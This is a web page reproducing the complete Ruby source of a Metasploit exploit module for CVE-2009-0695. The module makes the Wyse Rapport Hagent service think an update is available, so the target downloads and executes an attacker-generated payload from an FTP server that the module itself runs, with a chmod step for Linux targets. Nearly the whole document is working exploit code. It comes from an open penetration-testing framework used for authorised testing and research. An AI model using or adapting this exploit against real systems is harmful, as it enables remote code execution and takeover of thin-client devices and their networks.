Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
32545 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'timeout'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::FtpServer
13
include Msf::Exploit::EXE
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',
20
'Description' => %q{
21
This module exploits the Wyse Rapport Hagent service by pretending to
22
be a legitimate server. This process involves starting both HTTP and
23
FTP services on the attacker side, then contacting the Hagent service of
24
the target and indicating that an update is available. The target will
25
then download the payload wrapped in an executable from the FTP service.
26
},
27
'Stance' => Msf::Exploit::Stance::Aggressive,
28
'Author' => 'kf',
29
'References' => [
30
['CVE', '2009-0695'],
31
['OSVDB', '55839'],
32
['US-CERT-VU', '654545'],
33
['URL', 'http://snosoft.blogspot.com/'],
34
['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/']
35
],
36
'Privileged' => true,
37
'Payload' => {
38
'Space' => 2048,
39
'BadChars' => ''
40
},
41
'DefaultOptions' => {
42
'EXITFUNC' => 'process'
43
},
44
'Targets' => [
45
[ 'Windows XPe x86', { 'Platform' => 'win' }],
46
[ 'Wyse Linux x86', { 'Platform' => 'linux' }],
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2009-07-10',
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptPort.new('SRVPORT', [ true, 'The local port to use for the FTP server', 21 ]),
61
Opt::RPORT(80),
62
]
63
)
64
end
65
66
def exploit
67
if (datastore['SRVPORT'].to_i != 21)
68
print_error('This exploit requires the FTP service to run on port 21')
69
return
70
end
71
72
# Connect to the target service
73
print_status('Connecting to the target')
74
connect
75
76
# Start the FTP service
77
print_status('Starting the FTP server')
78
start_service
79
80
# Create the executable with our payload
81
print_status('Generating the EXE')
82
@exe_file = generate_payload_exe
83
if target['Platform'] == 'win'
84
maldir = 'C:\\' # Windows
85
malfile = Rex::Text.rand_text_alphanumeric(rand(4..11)) + '.exe'
86
co = 'XP'
87
elsif target['Platform'] == 'linux'
88
maldir = '//tmp//' # Linux
89
malfile = Rex::Text.rand_text_alphanumeric(rand(4..11)) + '.bin'
90
co = 'LXS'
91
end
92
@exe_sent = false
93
94
# Start the HTTP service
95
print_status('Starting the HTTP service')
96
wdmserver = Rex::Socket::TcpServer.create({
97
'Context' => {
98
'Msf' => framework,
99
'MsfExploit' => self
100
}
101
})
102
103
# Let this close automatically
104
add_socket(wdmserver)
105
106
wdmserver_port = wdmserver.getsockname[2]
107
print_status("Starting the HTTP service on port #{wdmserver_port}")
108
109
fakerapport = Rex::Socket.source_address(rhost)
110
fakemac = '00' + Rex::Text.rand_text(5).unpack('H*')[0]
111
mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"
112
113
# FTP Credentials
114
ftpserver = Rex::Socket.source_address(rhost)
115
ftpuser = Rex::Text.rand_text_alphanumeric(rand(1..8))
116
ftppass = Rex::Text.rand_text_alphanumeric(rand(1..8))
117
ftpport = 21
118
ftpsecure = '0'
119
120
incr = 10
121
pwn1 =
122
'&UP0|&SI=1|UR=9' +
123
"|CO \x0f#{co}\x0f|#{incr}" +
124
# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +
125
"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr + 1}"
126
127
pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr + 1}"
128
129
pwn3 =
130
"|EX \x0f#{maldir}#{malfile}\x0f|#{incr + 1}" +
131
# "|RB|#{incr+1}" +
132
# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +
133
# "|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
134
# FTP Paramaters
135
"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + '|&FTPBw=10240' + '|&FTPST=200' +
136
"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +
137
"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + '|&M_FTPBw=10240' +
138
'|&M_FTPST=200' + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +
139
# No clue
140
'|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|'
141
142
if target['Platform'] == 'win'
143
pwn = pwn1 + pwn3
144
elsif target['Platform'] == 'linux'
145
pwn = pwn1 + pwn2 + pwn3
146
end
147
# Send the malicious request
148
sock.put(mal)
149
150
# Download some response data
151
resp = sock.get_once(-1, 10)
152
print_status("Received: #{resp}")
153
154
if !resp
155
print_error('No reply from the target, this may not be a vulnerable system')
156
return
157
end
158
159
print_status('Waiting on a connection to the HTTP service')
160
begin
161
Timeout.timeout(190) do
162
done = false
163
while (!done and session = wdmserver.accept)
164
req = session.recvfrom(2000)[0]
165
next if !req
166
next if req.empty?
167
168
print_status("HTTP Request: #{req.split("\n")[0].strip}")
169
170
case req
171
when /V01/
172
print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")
173
res = pwn
174
when /V02/
175
print_status('++ device sending V02 query...')
176
res = '&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|'
177
done = true
178
179
when /V55/
180
print_status('++ device sending V55 query...')
181
res = pwn
182
when /POST/ # PUT is used for non encrypted requests.
183
print_status('++ device sending V55 query...')
184
res = pwn
185
done = true
186
else
187
print_status('+++ sending generic response...')
188
res = pwn
189
end
190
191
print_status("Sending reply: #{res}")
192
session.put(res)
193
session.close
194
end
195
end
196
rescue ::Timeout::Error
197
print_status('Timed out waiting on the HTTP request')
198
wdmserver.close
199
disconnect
200
return
201
end
202
203
print_status('Waiting on the FTP request...')
204
stime = Time.now.to_f
205
until (@exe_sent)
206
break if (stime + 90 < Time.now.to_f)
207
208
select(nil, nil, nil, 0.25)
209
end
210
211
if (!@exe_sent)
212
print_status('No executable sent :(')
213
end
214
215
wdmserver.close
216
217
handler
218
disconnect
219
end
220
221
def on_client_command_retr(c, arg)
222
print_status("#{@state[c][:name]} FTP download request for #{arg}")
223
conn = establish_data_connection(c)
224
if (!conn)
225
c.put("425 Can't build data connection\r\n")
226
return
227
end
228
229
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
230
conn.put(@exe_file)
231
c.put("226 Transfer complete.\r\n")
232
conn.close
233
@exe_sent = true
234
end
235
236
def on_client_command_size(c, arg)
237
print_status("#{@state[c][:name]} FTP size request for #{arg}")
238
c.put("213 #{@exe_file.length}\r\n")
239
end
240
241
end
242
243